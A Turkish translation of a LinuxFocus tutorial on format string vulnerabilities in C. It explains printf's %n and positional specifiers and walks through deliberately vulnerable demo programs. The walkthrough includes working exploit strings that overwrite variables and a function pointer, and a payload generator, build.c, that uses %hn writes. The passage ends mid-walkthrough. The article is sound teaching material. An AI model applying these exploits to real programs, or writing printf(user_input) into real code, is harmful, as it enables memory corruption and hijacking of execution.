| 
 | 
|  | 
| 
 | 
| Bu makalenin farklı dillerde bulunduğu adresler: English Deutsch Francais Nederlands Portugues Russian Turkce | 
| 
 ![[image of the authors]](../../common/images/FredCrisBCrisG.jpg)  tarafından Frédéric Raynal, Christophe Blaess, Christophe Grenier Yazar hakkında: Christophe Blaess bağımsız bir aeronotic mühendisidir. Kendisi Linux hayranıdır ve ilşrerinin birçoğunu Linux altında yapmaktadır. Linux Kaynakyazılandırım Projesi (Linux Documentatiın Project) tarafından yayımlanan man sayfalarının çevirilmesini yönetmektedir. Christophe Grenier ESIEA'da öğrenci olarak 5. yılındadır ve aynı zamanda burada sistem yöneticiliği yapmaktadır. Bilgisayar güvenliği konusunda özel merakı vardır. Frédéric Raynal, çevreyi kirletmediği, hormon kullanılmadığı, MSG veya hayvansal malzemeler kullanılmadığı ve sadece tatlıdan oluştuğu için Linux işletim sistemini yıllardır kullanmaktadır. İçerik: 
 | 
![[article illustration]](../../common/images/illustration183.gif) 
Özet:
Bir süredir katarların biçimlendirilmesi ile ilgili güvenlik açıklarının sayısında oldukça önemli artışlar gözlenmektedir. Bu makalede tehlikenin nereden geldiği anlatımakta ve program içerisinde altı byte kazanmak için yapılanlar güvenlik konusunda verilmiş bir tavizin nasıl ortaya çıktığını göstermektedir.
Güvenlik açıklarının birçoğu kötü yapılmış yapılandırmalardan veya tembellikten dolayı ortaya çıkmaktadır. Bu yargı katarların biçimlendirilmesi için de geçerlidir.
Genellikle program içerisinde null ile sonlandırlmış katarlarların
    kullanımına gereksinim vardır. Bunun program içerisindeki yeri önemli değildir.
    Sorun belleğe douğrudan yapılan yazma işleminden kaynaklanmaktadır.
    Saldırı, stdin, dosyalar ve benzeri yerlerden gelebilir.
    Tekbir komut yeterli olmaktadır:
printf("%s", str);
    Bunun yanında programcı, altı byte ve zamandan kazanmak isteyebilir ve :
printf(str);
    yazabilir. Aklında sadece "ekonomi" vardı, ancak programcı
    kendi programında olası bir güvenlik açığı yaratmış olur.
    Ekranda görüntülenmek üzere tek parametre kullandığı için programcı memnun.
    Ancak, karakter katarı içerisinde (%d, %g...)
    gibi biçimlendirme işaretlerine karşı incelenecektir. Eğer, böyle bir
    işaret bulunursa, buna karşı gelen parametre, yığıt üzerinde aranacaktır.  
 İşe printf() fonksiyonları ailesini tanıtmakla başlayacağız.
    Ayrıntılı olarak olmasa da herkes en azından bu fonksiyonları tanıyor.
    Biz bu fonksiyonların az bilinen yönleri ile ilgileneceğiz.
    Daha sonra böyle bir hatadan yararlanmanın bilgisini de vereceğiz.
    Sonunda, bütün bu anlatılanları bir örnek üzerinde göstereceğiz.
printf() : onlar bana yalan söyledi !Hepimizin bildiği ve programlama kitaplarında yer alan C'de giriş/çıkış fonksiyonlarının birçoğu verileri biçimlendirilmiş olarak işlemektedir. Bunun anlamı, verileri işlemek için sadece verinin kendisini değil, aynı zamanda nasıl gösterileceğini de belirtmek gerekmektedir. Aşağıdaki program bu konuyu göstermektedir :
/* display.c */
#include <stdio.h>
main() {
  int i = 64;
  char a = 'a';
  printf("int  : %d %d\n", i, a);
  printf("char : %c %c\n", i, a);
}
    Programı çalıştırdığınızda :
>>gcc display.c -o display >>./display int : 64 97 char : @ aİlk
printf() fonksiyonu i tamsayı
    ve a karakter değişkenlerinin  değerlerini
    int olarak yazmaktadır (bu %d
    biçimlendirme işareti kullanılarak yapılmıştır). Böylece,
    a'nın ASCII değeri elde edilmektedir.
    Diğer taraftan, ikinci printf fonksiyonu,
    tamsayı değişkeni olan i'nin ASCII tablosundaki
    karşılığı olan 64 değerini göstermektedir.
    Şimdiye kadar yeni bir şey yok. Herşey printf
    ve benzeri fonksiyonlarının sahip oldukalrı tanımlamaya uygundur :
const char *format) belirlemektedir;Genelde, biçimlendirme işaretlerinin bir listesi (%g,
    %h, %x ve .
    sayılardaki duyarlılığı belirttiyor)
    verildikten sonra bu konudaki birçok programlama
    dersi burada sona ermektedir. Ama hiç konuşulmayan
    birşey daha vardır : %n.
    printf() fonksiyonunun man sayfasında bununla ilgili
    şunlar yazmaktadır :
| Bu ana kadar yazılan karakterlerin sayısı int *ile belirtilen bir işaretçi tamsayı
           değişkeninde saklanmaktadır. Parametre çevirilmesi yapılmamaktadır. | 
Sadece bir görüntüleme fonksiyonu olmasına rağmen, bu parametre bir işaretçi değişkene yazılmasını sağlamaktadır. Makalenin en önemli kısmı budur!
Devam etmeden önce, bu biçimlendirme şekli
    scanf() ve syslog() ailesinden olan fonksiyonlar için
    de geçerli olduğunu söylemek gerekir.
Bu biçimlendirme şeklinin özelliklerini küçük örnek programlar
    aracılıyla inceleyeceğiz. Örneklerden ilki olan printf1
    çok basit bir kullanımı göstermektedir :
/* printf1.c */
1: #include <stdio.h>
2:
3: main() {
4:   char *buf = "0123456789";
5:   int n;
6:
7:   printf("%s%n\n", buf, &n);
8:   printf("n = %d\n", n);
9: }
    İlk printf() fonksiyonu 10 karakterden oluşan bir
    katarı ekrana yazmaktadır. %n biçimlendirme işareti sayesinde,
    bu değer n değişkenine yaziılmaktadır. Programı derleyip,
    çalıştırırsak :
>>gcc printf1.c -o printf1 >>./printf1 0123456789 n = 10elde ederiz. Şimdi programı biraz değiştirelim. Bunun için 7.satırdaki
printf() ifadesini aşağıdaki :
7:   printf("buf=%s%n\n", buf, &n);
ile değiştirelim.
    Bu program çalıştırıldığında düşüncemiz doğrulanmaktadır :
    n değişkeni artık 14 (10 karakter buf den ve
    4 karakter de biçimlendirme katarından "buf=") tür.
Demek ki %n, biçimlendirme katarında yer alan
    tüm karakterleri saymaktadır. printf2 programında
    da göreceğimiz gibi, daha da fazlasını saymaktadır :
/* printf2.c */
#include <stdio.h>
main() {
  char buf[10];
  int n, x = 0;
  snprintf(buf, sizeof buf, "%.100d%n", x, &n);
  printf("l = %d\n", strlen(buf));
  printf("n = %d\n", n);
}
 snprintf() fonksiyonun kullanılmasının nedeni,
    bellek taşmalarını önlemektir. n değişkeninin değeri 10
    olmalıdır.
>>gcc printf2.c -o printf2 >>./printf2 l = 9 n = 100Garip değil mi ? Gerçekte,
%n yazılması
    gereken karakter
    sayısını ele almaktadır. Bu örnek, boyut aşılmasından dolayı
    yapılması gereken kısaltmaın gözardı edildiğini göstermektedir.
    Gerçekte ne oldu? Olan şu, biçimlendirme katarı önce genişletildi, sonra boyutu kadarı alındı (kesildi) ve hedef bellek alanına kopyalandı:
/* printf3.c */
#include <stdio.h>
main() {
  char buf[5];
  int n, x = 1234;
  snprintf(buf, sizeof buf, "%.5d%n", x, &n);
  printf("l = %d\n", strlen(buf));
  printf("n = %d\n", n);
  printf("buf = [%s] (%d)\n", buf, sizeof buf);
}
    printf3 programı, printf2 programına
    göre bazı farklılıklar içermektedir:
    >>gcc printf3.c -o printf3 >>./printf3 l = 4 n = 5 buf = [0123] (5)İlk iki satır sürpriz değil. Son satır ise,
printf()
    fonksiyonunun çalışma şeklini göstermektedir :
    00000\0" katarı oluşturmuştur;x değişkeninin değerinin kopyalanması göstermektedir.
      Bunun sonucunda katar, "01234\0" şeklinde görünmektedir;sizeof buf - 1 byte2 lık kısım hedef  buf katarına kopyalanmış ve
      "0123\0" elde edilmiştir.GlibC belgelerine, özellikle
   ${GLIBC_HOME}/stdio-common dizinindeki
   vfprintf() fonksiyonuna bakabilir.
    Bu bölümü bitirmeden önce, aynı sonuçları biçimlendirme
    şeklini biraz değiştirerek de elde etmenin mümkün olduğunu
    söylemek gerekir. Daha önce, duyarlılık ('.' nokta)
    denilen biçimlendirmeden faydalanmıştık.
    Benzer sonuçları :  0n ile elde etmek mümkündür.
    Buradaki, n sayısı, katar genişliğini,
    0 ise, katarın alabileceği kapasite doldurulmadıysa,
    geriye kalan kısımları boşluklarla tamamlanması için konulmuştur.
Artık katar biçimlendirmeleri konusunda hemen hemen herşeyi,
    özellikle de %n konusunda, öğrendiğinize göre şimdi
    bunların davranışlarını inceleyeceğiz.
printf()Şimdiki program, printf() fonksiyonu ile yığıt
    arasındaki ilişkinin ne olduğunu öğrenmede bize rehberlik edecektir :
/* stack.c */
 1: #include <stdio.h>
 2:
 3: int
 4  main(int argc, char **argv)
 5: {
 6:   int i = 1;
 7:   char buffer[64];
 8:   char tmp[] = "\x01\x02\x03";
 9:
10:   snprintf(buffer, sizeof buffer, argv[1]);
11:   buffer[sizeof (buffer) - 1] = 0;
12:   printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
13:   printf ("i = %d (%p)\n", i, &i);
14: }
     Program, parametre ile verilen değeri buffer
     karakter dizisine kopyalamaktadır. Verilerin
     bellek taşması sonucu üzerine yazılmaması
     için özen göstermekteyiz (biçimlendirme katarları, bellek taimalarına
     göre gerçekten daha özenlidirler).
>>gcc stack.c -o stack >>./stack toto buffer : [toto] (4) i = 1 (bffff674)Program, tam beklediğimiz gibi çalışmaktadır :) Daha ileriye gitmeden önce, 8. satırdaki
snprintf() fonksiyonu çağırma sırasında
    yığıt tarafında neler olduğuna bir bakalım.
    | Fig. 1 : snprintf()fonksiyonunu
          çağırmadan önce yığıtın durumu. | 
|   | 
1 çizimi, snprintf()
    fonksiyonunu çağırmadan önceki yığıtın durumunu göstermektedir
    (bunun doğru olmadığını göreceğız...). Bu çizim sadece olanlar hakkında
    bir fikir vermek için hazırlanmıştır. %ebp
    registerin altında bir yerde bulunan %esp registerini
    dikkate almayacağız. Daha önceki makaleden hatırlanacağı üzere,
    %ebp ve %ebp+4'de bulunan ilk değer,
    sırasıyla %ebp ve %ebp+4'ün yedekleridir.
    Daha sonra snprintf() fonksiyonunun parametreleri
    gelmektedir :
argv[1] biçimlendirme
      katarının adresi gelmektedir.tmp
    karakter dizisinin verileri, 64 byte'lık buffer
    ve i tamsayı değikeni yer almaktadır.
    argv[1] katarı aynı zamanda hem biçimlendirme
    ve hemde veri olarak kullanılmaktadır. snprintf()
    fonksiyonunun normal sırasına göre biçimlendrime katarı yerine
    argv[1] gözükmektedir. Biçimlendirme katarını,
    biçimlendirme işaretleri olmadan da kullanabileceğimize göre (sadece metin gibi)
    herşey yolunda demektir :)
Peki, argv[1] içerisinde biçimlendirme işaratleri
    olduğunda acaba ne olmaktadır? Normalde, snprintf()
    foksiyonu onları olduğu gibi değerlendirmektedir, başka türlü
    olması için bir neden yoktur! Ancak, burada biçimlendirme için,
    hangi parametrelerin veri olarak kullanılacağını merak edebiliriz.
    Gerçekte snprintf() fonksiyonu gerekli verileri,
    yığıttan almaktadır! Bunun böyle olduğunu, stack
    programından görebilirsiniz :
>>./stack "123 %x" buffer : [123 30201] (9) i = 1 (bffff674)
İlk önce "123 " katarı  buffer üzerine
    kopyalanmaktadır. %x ifadesi, ilk parametreyi çevirmesi için
    snprintf() fonksiyonundan istekte bulunmaktadır.
    1 çiziminden de anlaşılacağı üzere,
    ilk parametre \x01\x02\x03\x00 değerine sahip olan
    tmp değişkeninden başkası değildir. x86 işlemcimizin
    küçük indian mimarisine göre bu katarın 16'lık sayı tabanına göre
    değeri 0x00030201 olmaktadır.
>>./stack "123 %x %x" buffer : [123 30201 20333231] (18) i = 1 (bffff674)
İkinci bir %x eklenmesiyle, yığıt üzerinde daha da yukarıya
    ulaşabiliriz. Bu snprintf() fonksiyonuna daha sonraki 4
    byte'a bakmasını söylemektedir. Gerçekte bu 4 byte buffer
    değişkeninin 4 byte dır. buffer değişkeni,
    "123 " katarını içermektedir, 16'lık
    sayı tabanına göre bu değer 0x20333231 (0x20=boşluk, 0x31='1'...) dir.
    Dolayısıyla her %x için, snprintf()
    fonksiyonu yığıt üzerinde bulunan  buffer
    değişkeninin 4 byte'ına (4 byte olmasının nedeni,
    x86 işlemcisi unsigned int için 4 byte ayırmaktadır)
    daha ulaşmaktadır. Bu değişken iki işlevi yerine getirmektedir:
>>./stack "%#010x %#010x %#010x %#010x %#010x %#010x"
buffer : [0x00030201 0x30307830 0x32303330 0x30203130 0x33303378
         0x333837] (63)
i = 1 (bffff654)
     
 Parametreler arasında yerdeğiştirme gerektiği durumda
    (sözgelimi tarih ve saat bilgilerini göstermek gerektiğinde)
    uygun biçimlendirme ifadesini bulmak mümkündür.
    Biz, % işaretinin hemen ardına m
    >0 bir tamsayı olmak üzere m$ ifadesini ekledik.
    Bu bize, parametre listesinde kullanılacak değişkenin
    yerini (1'den başlamak üzere) vermektedir : 
/* explore.c */
#include <stdio.h>
  int
main(int argc, char **argv) {
  char buf[12];
  memset(buf, 0, 12);
  snprintf(buf, 12, argv[1]);
  printf("[%s] (%d)\n", buf, strlen(buf));
}
    m$ biçimlendirme ifadesi sayesinde, yığıt
    üzerinde, gdb ile yapabildiğimiz gibi
    istediğimiz yere gidebiliyoruz : 
>>./explore %1\$x [0] (1) >>./explore %2\$x [0] (1) >>./explore %3\$x [0] (1) >>./explore %4\$x [bffff698] (8) >>./explore %5\$x [1429cb] (6) >>./explore %6\$x [2] (1) >>./explore %7\$x [bffff6c4] (8)
Buradaki \ karakteri, kabuk programının
    $ karakterini başka türlü yorumlamasını
    önlemek amacıyla konulmaktadır. İlk üç çalıştırmada,
    buf değişkeninin içeriğini elde ettik.
    %4\$x ifadesiyle, %ebp registerında
    yedeklenmiş değeri ve %5\$x ifadesiyle,
    %eip register üzerine yedeklenmiş değeri
    (dönüş adresleri) elde ettik. Son iki çalıştırmada ise,
    argc değişkeninin değerini ve *argv
    de yer alan adres değerini (unutmayın ki **argv
    ifadesi, *argv'nin değerleri adresler olan
    bir dizidir) elde ettik.
Bu örnekte de görüldüğü gibi, verilen biçimlendirme ifadelerine göre
    yığıt üzerinde bilgi arayabilir, adresler bulabiliriz vs.
    Aynı zamanda, bu makalenin başında gördük ki printf()
    ailesinden olan fonksiyonlar yardımıyla buralara yzabiliriz.
    Bu size de bir potansiyel güvenlik açığı olarak görünmüyor mu?
stack programına geri dönelim:
>>perl -e 'system "./stack \x64\xf6\xff\xbf%.496x%n"' buffer : [döÿ¿000000000000000000000000000000000000000000000000 00000000000] (63) i = 500 (bffff664)Giriş katarı olarak şunları veriyoruz::
i değişkeninin adresinini;%.496x) biçimlendirme ifadesini;%n) ifadesini,
         verilen adrese yazmak için veriyoruz.i değişkeninin adresini (burada 0xbffff664)
    bulabilmek için programı iki defa çalıştırabiliriz ve
    komut satırındaki parametreleri de ona göre değiştirebiliriz.
    Görüldüğü gibi, i'nin yeni değeri var :)
    Verilen biçimlendirme ifadesi ve yığıtın yapılandırması
    snprintf() fonksiyonun aşağıdaki gibi görünmesini sağlamaktadır :
snprintf(buffer,
         sizeof buffer,
         "\x64\xf6\xff\xbf%.496x%n",
         tmp,
         katardaki 4  byte);
    i adresini içeren ilk dört byte, buffer
    katarının başına yazılmaktadır. %.496x biçimlendirme
    ifadesi, yığıtın başında bulunan tmp değişkeninden
    kurtulmamızı sağlamaktadır. Ondan sonra %n
    biçimlendirme ifadesi verildiğinde, artık i
    değişkeninin adresi buffer katarının başında
    yer alacaktır. 496 byte'lık duyarlılığa sahip olmamız gerekirken,
    snprintf fonksiyonu maksimum  60 byte yazmaktadır (çünkü,
    katarın boyutu 64'tür ve 4 byte zaten yazılmıştı). 496 rakamı rastgele
    oluşmuştur ve sadece "byte sayacını" ayarlamak amacıyla kullanılmaktadır.
    %n ifadesinin kendisinden önce yazılmış byte sayısını
    elde etmekte kullanıldığını daha önce görmüştük. Buradan elde edilen değer
    496 dır ve biz buna buffer başında bulunan i
    değişkeninin 4 byte'lık adres değerini eklememiz gerekmektedir.
    Sonuçta 500 elde edilmektedir. Bu değer, yığıt üzerinde
    sonraki adrese,  i değişkeninin adresine,
    yazmamızı sağlayacaktır.
Bu örnekten hareketle daha da ileriye gidebiliriz. i'yi
    değiştirmek için, onun adresine sahip olmamız gerekmektedir... Ama
    bazen programın kendisi bize bu bilgiyi vermektedir : 
/* swap.c */
#include <stdio.h>
main(int argc, char **argv) {
  int cpt1 = 0;
  int cpt2 = 0;
  int addr_cpt1 = &cpt1;
  int addr_cpt2 = &cpt2;
  printf(argv[1]);
  printf("\ncpt1 = %d\n", cpt1);
  printf("cpt2 = %d\n", cpt2);
}
    Bu programı çalışması, yığıtı istediğimiz (hemen hemen) gibi kullanabileceğimizi göstermektedir:
>>./swap AAAA AAAA cpt1 = 0 cpt2 = 0 >>./swap AAAA%1\$n AAAA cpt1 = 0 cpt2 = 4 >>./swap AAAA%2\$n AAAA cpt1 = 4 cpt2 = 0
Görüldüğü gibi, parametrenin değerine göre,
    cpt1 veya cpt2 değişkeninin değerini
    değiştirebiliyoruz. %n biçimlendirme ifadesi
    parametre olarak adres istemektedir, bu nedenledir ki biz
    değişkenleri doğrudan (%3$n (cpt2) veya
    %4$n (cpt1) kullanarak) değiştiremiyoruz. Bunu ancak,
    işaretçiler kullanarak yapabiliyoruz. Bu da bize, üzerinden bir sürü
    değişiklik yapabileceğimiz "yeni malzeme" vermektedir.
egcs-2.91.66
    ve glibc-2.1.3-22 kullanarak derlenmişti. Ancak, siz
    kendi bilgisayarınızda aynı sonuçları elde edemeyebilirsiniz.
    *printf() şeklindeki fonksiyonlar, glibc
    göre değişmektedir ve derleyiciler aynı işlemleri yerine getirmemektedir.
    stuff programı farklılıkları ortaya çıkartmaktadır:
/* stuff.c */
#include <stdio.h>
main(int argc, char **argv) {
  char aaa[] = "AAA";
  char buffer[64];
  char bbb[] = "BBB";
  if (argc < 2) {
    printf("Usage : %s <format>\n",argv[0]);
    exit (-1);
  }
  memset(buffer, 0, sizeof buffer);
  snprintf(buffer, sizeof buffer, argv[1]);
  printf("buffer = [%s] (%d)\n", buffer, strlen(buffer));
}
    aaa ve bbb dizileri, yığıt üzerindeki
    gezintimiz sırasında ayraç olarak görev yapmaktadır.
    Dolayısıyla, 424242 bulduğumuz anda, ondan sonra gelen
    byte'lar buffer değişkeninin bilgileri olacaktır.
    1 tablosunda, glibc'nin ve derleyicilerinin
    farklı sürümlerinde  elde edilmiş değerleri görmekteyiz.
| Tab. 1 : glibc arasındaki farklılıklar | ||
|---|---|---|
|  |  |  | 
| gcc-2.95.3 | 2.1.3-16 | buffer = [8048178 8049618 804828e 133ca0 bffff454 424242 38343038 2038373] (63) | 
| egcs-2.91.66 | 2.1.3-22 | buffer = [424242 32343234 33203234 33343332 20343332 30323333 34333233 33] (63) | 
| gcc-2.96 | 2.1.92-14 | buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63) | 
| gcc-2.96 | 2.2-12 | buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63) | 
Makalenin geri kalanında biz egcs-2.91.66 ve
    glibc-2.1.3-22 kullanacağız, eğer siz kendi
    bilgisayarınızda  başka sonuçlar elde edersiniz, hiç şaşırmayın.
Katar taşmalarını kullanırken, dönüş değeri üzerine yazabilmek için bir katardan faydalanmıştık.
Biçimlendirme katarları durumunda ise,
    her yere (yığıt, heap, bss, .dtors, ...)
    gidebileceğimizi gördük, sadece nerey ve ne yazacağımıza
    karar vermemiz yeterli, geriye kalan işi %n
    yerine getirecektir.
/* vuln.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int helloWorld();
int accessForbidden();
int vuln(const char *format)
{
  char buffer[128];
  int (*ptrf)();
  memset(buffer, 0, sizeof(buffer));
  printf("helloWorld() = %p\n", helloWorld);
  printf("accessForbidden() = %p\n\n", accessForbidden);
  ptrf = helloWorld;
  printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);
  snprintf(buffer, sizeof buffer, format);
  printf("buffer = [%s] (%d)\n", buffer, strlen(buffer));
  printf("after : ptrf() = %p (%p)\n", ptrf, &ptrf);
  return ptrf();
}
int main(int argc, char **argv) {
  int i;
  if (argc <= 1) {
    fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
    exit(-1);
  }
  for(i=0;i<argc;i++)
    printf("%d %p\n",i,argv[i]);
  exit(vuln(argv[1]));
}
int helloWorld()
{
  printf("Welcome in \"helloWorld\"\n");
  fflush(stdout);
  return 0;
}
int accessForbidden()
{
  printf("You shouldn't be here \"accesForbidden\"\n");
  fflush(stdout);
  return 0;
}
    ptrf adında ve fonksiyon işaretçisi olan bir değişken tanımladık.
    Bu değişkenin değerini, çalıştırmak istediğimiz fonksiyonu gösterecek
    şekilde değiştireceğiz.
İlk önce, buffer değişkenin başlangıcı ile yığıt arasındaki uzaklığı bulmamız gerekiyor :
>>./vuln "AAAA %x %x %x %x" helloWorld() = 0x8048634 accessForbidden() = 0x8048654 before : ptrf() = 0x8048634 (0xbffff5d4) buffer = [AAAA 21a1cc 8048634 41414141 61313220] (37) after : ptrf() = 0x8048634 (0xbffff5d4) Welcome in "helloWorld" >>./vuln AAAA%3\$x helloWorld() = 0x8048634 accessForbidden() = 0x8048654 before : ptrf() = 0x8048634 (0xbffff5e4) buffer = [AAAA41414141] (12) after : ptrf() = 0x8048634 (0xbffff5e4) Welcome in "helloWorld"
Programı ilk çalıştırdığımızda istediğimizi elde ediyoruz :
    buffer değikeninden bizi 3 kelime
    (x86 işlemcilerinde bir kelime = 4 byte dır) ayırmaktadır.
    Bunun gerçekte böyle olduğunu programı AAAA%3\$x
    parametresini vererek ikinci defa çalıştırdığımızda anlıyoruz.
Amacımız, ptrf değişkenin başlangıçta işaret
    ettiği 0x8048634 (helloWorld() fonksiyonunun
    adresi) adresinden, 0x8048654
    (accessForbidden() fonksiyonunun adresi) adresini
    gösterecek şekilde değiştirmektir.
    Bunun için 0x8048654 byte (16'lık tabana göre, bu yaklaşık 128 MB dır),
    yazmamız gerekecektir. Tüm bilgisayarlar bu kadar belleğe sahip olmayabilirler,
    ama bizim bilgisayarda bu kadar bellek var:) 350 MHz'lik iki işlemcili
    Pentium olan bilgisayarımızda bu işlem 20 saniye sürdü :
>>./vuln `printf "\xd4\xf5\xff\xbf%%.134514256x%%"3\$n ` helloWorld() = 0x8048634 accessForbidden() = 0x8048654 before : ptrf() = 0x8048634 (0xbffff5d4) buffer = [Ôõÿ¿000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000 0000000000000] (127) after : ptrf() = 0x8048654 (0xbffff5d4) You shouldn't be here "accesForbidden"
Biz ne yaptık? Yaptığımız şey sadece
    ptrf (0xbffff5d4)  adresini sağlamak oldu.
    Sonraki biçimlendirme ifadesi (%.134514256x)
    yığıt üzerindeki 134514256 byte ötede bulunan ilk kelimeyi
    (ptrf değişkenininden itibaren 4 byte zaten yazmıştık,
    dolayısıyla geriye 134514260-4=134514256 byte kalıyor)
    okumaktadır. Sonunda, istediğimiz değeri, verilmiş olan adrese (%3$n)
    yazmış olduk.
Ancak, daha önce de söylediğimiz gibi, 128 MB'lık bellek kullanmak
    herzaman mümkün değildir. %n biçimlendirme ifadesinin,
    4 byte'lık bir tamsayı değişkenini gösterecek bir işaretçiye ihtiyacı vardır.
    %hn biçimlendirme ifadesi sayesinde bunu,
    short int - 2 byte'lık bir işaretçi kullanacak şekilde
    değiştirebiliyoruz. Dolayısıyla yazmak istediğimiz tam sayı
    değerini iki bölüme ayırmış oluyoruz. Yazılabilecek en büyük kısım
    artık, 0xffff byte'a (65535 byte) sığmaktadır.
    Böylece, önceki örnekte yer alan "0xbffff5d4 adresi üzerine
    0x8048654" yazma işlemini, iki ardışık işlem haline getiriyoruz : 
0x8654 değerini 0xbffff5d4 adresine yazmak0x0804 değerini 0xbffff5d4+2=0xbffff5d6
      adresine yazmakAncak, %n (veya %hn) ifadesi,
    katar üzerine yazılan toplam karakter sayısını saymaktadır.
    Bu sayı sadece artabilmektedir. İlk önce, ikisi arasındaki en küçük
    değeri yazmamız gerekir. Ondan sonra, ikinci biçimlendirme
    ifadesi, duyarlılık olarak yazılan ilk sayı ile gerekli sayı
    arasındaki farkı kullanacaktır. Sözgelimi, bizim örnekte,
    ilk biçimlendirme işlemi %.2052x (2052 = 0x0804)
    ve ikincisi %.32336x (32336 = 0x8654 - 0x0804)
    olmalıdır. Hemen arkadan yazılan her %hn ifadesi,
    byte sayısını doğru olarak hesaplayacaktır.
Bizim sadece %hn ifadelerini nereye yazacağımızı
    belirlememiz gerekecektir. Bunun için, m$ ifadesi
    bize yardımcı olacaktır. Eğer, adresleri katarın başına kaydedersek,
    m$ ifadesinin yardımıyla yığıt üzerinde hareket ederek,
    gerekli uzaklığı bulabiliriz. Ondan sonra iki adres de
    m ve m+1 uzaklıkta olacaktır.
    Katarın ilk 8 byte'ına üzerine yazılacak adres değerini
    kaydettiğimiz için, ilk yazılan değerden 8 çıkartmak gerekecektir.
Biçimlendirme katarı aşağıdaki gibi olamaktadır:
"[addr][addr+2]%.[val. min. - 8]x%[offset]$hn%.[val. max -
      val. min.]x%[offset+1]$hn"
    Biçimlendirme katarını oluşturmak için, build programı
     üç parametre kullanmaktadır: 
/* build.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
/**
   Yazılacak 4 byte şu şekilde yerleştirilmektedir :
   HH HH LL LL
   "*h" ile biten değişkenler kelimenin üst kısmını göstermektedir (H).
   "*l" ile biten değişkenler kelimenin alt kısmını göstermektedir (L).
 */
char* build(unsigned int addr, unsigned int value,
      unsigned int where) {
  /* doğru değeri bulabilmek için oldukça tembel... :*/
  unsigned int length = 128;
  unsigned int valh;
  unsigned int vall;
  unsigned char b0 = (addr >> 24) & 0xff;
  unsigned char b1 = (addr >> 16) & 0xff;
  unsigned char b2 = (addr >>  8) & 0xff;
  unsigned char b3 = (addr      ) & 0xff;
  char *buf;
  /* değeri ayrıntılandırma */
  valh = (value >> 16) & 0xffff; //üst
  vall = value & 0xffff;         //alt
  fprintf(stderr, "adr : %d (%x)\n", addr, addr);
  fprintf(stderr, "val : %d (%x)\n", value, value);
  fprintf(stderr, "valh: %d (%.4x)\n", valh, valh);
  fprintf(stderr, "vall: %d (%.4x)\n", vall, vall);
  /* katar için bellek ayırımı */
  if ( ! (buf = (char *)malloc(length*sizeof(char))) ) {
    fprintf(stderr, "Can't allocate buffer (%d)\n", length);
    exit(EXIT_FAILURE);
  }
  memset(buf, 0, length);
  /* şimdi oluşturalım */
  if (valh < vall) {
    snprintf(buf,
         length,
         "%c%c%c%c"           /* üst adres */
         "%c%c%c%c"           /* alt adres */
         "%%.%hdx"            /* ilk %hn için değeri yerleştirme*/
         "%%%d$hn"            /* %hn üst kısım için */
         "%%.%hdx"            /* ikinci %hn için değeri yerleştirme */
         "%%%d$hn"            /* %hn alt kısım için */
         ,
         b3+2, b2, b1, b0,    /* üst adres */
         b3, b2, b1, b0,      /* alt adres */
         valh-8,              /* ilk %hn için değeri yerleştirme */
         where,               /* %hn üst kısım için */
         vall-valh,           /* ikinci %hn için değeri yerleştirme */
         where+1              /* %hn alt kısım için */
         );
  } else {
     snprintf(buf,
         length,
         "%c%c%c%c"           /* üst adres */
         "%c%c%c%c"           /* alt adres */
         "%%.%hdx"            /* ilk %hn için değeri yerleştirme */
         "%%%d$hn"            /* %hn üst kısım için */
         "%%.%hdx"            /* ikinci %hn için değeri yerleştirme */
         "%%%d$hn"            /* %hn alt kısım için */
         ,
         b3+2, b2, b1, b0,    /* üst adres */
         b3, b2, b1, b0,      /* alt adres */
         vall-8,              /* ilk %hn için değeri yerleştirme */
         where+1,             /* %hn üst kısım için */
         valh-vall,           /* ikinci %hn için değeri yerleştirme */
         where                /* %hn alt kısım için */
         );
  }
  return buf;
}
int
main(int argc, char **argv) {
  char *buf;
  if (argc < 3)
    return EXIT_FAILURE;
  buf = build(strtoul(argv[1], NULL, 16),  /* adresse */
          strtoul(argv[2], NULL, 16),  /* valeur */
          atoi(argv[3]));              /* offset */
  fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
  printf("%s",  buf);
  return EXIT_SUCCESS;
}
    Yazılacak değerin kelimenin üst veya alt tarafına yazılmasına göre parametrelerin yeri değişmektedir. Herhangi bellek sorunu yaşamadan önce yaptığımız bir deneyelim.
Basit örneğimiz bize, ilk önce uzaklığın tahmin edilmesinde yardımcı olmaktadır:
>>./vuln AAAA%3\$x argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 before : ptrf() = 0x8048644 (0xbffff5d4) buffer = [AAAA41414141] (12) after : ptrf() = 0x8048644 (0xbffff5d4) Welcome in "helloWorld"
Değer herzaman aynı : 3. Programı olanları göstermesi için yazdığımıza göre
    ptrf ve accesForbidden()  için gerekli
    olan bilgilere sahip oluyoruz. Katarımızı buna göre oluşturabiliriz:
>>./vuln `./build 0xbffff5d4 0x8048664 3` adr : -1073744428 (bffff5d4) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [Öõÿ¿Ôõÿ¿%.2044x%3$hn%.32352x%4$hn] (33) argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 before : ptrf() = 0x8048644 (0xbffff5b4) buffer = [Öõÿ¿Ôõÿ¿00000000000000000000d000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000 00000000] (127) after : ptrf() = 0x8048644 (0xbffff5b4) Welcome in "helloWorld"Hiç birşey olmadı! Ancak, önceki örneğimize göre daha uzun katar kullandığımızdan dolayı yığıt değişti (
ptrf, 0xbffff5d4 den
    0xbffff5b4 gitti). Dolayısıyla değerleri ayarlamamız gerekmektedir:
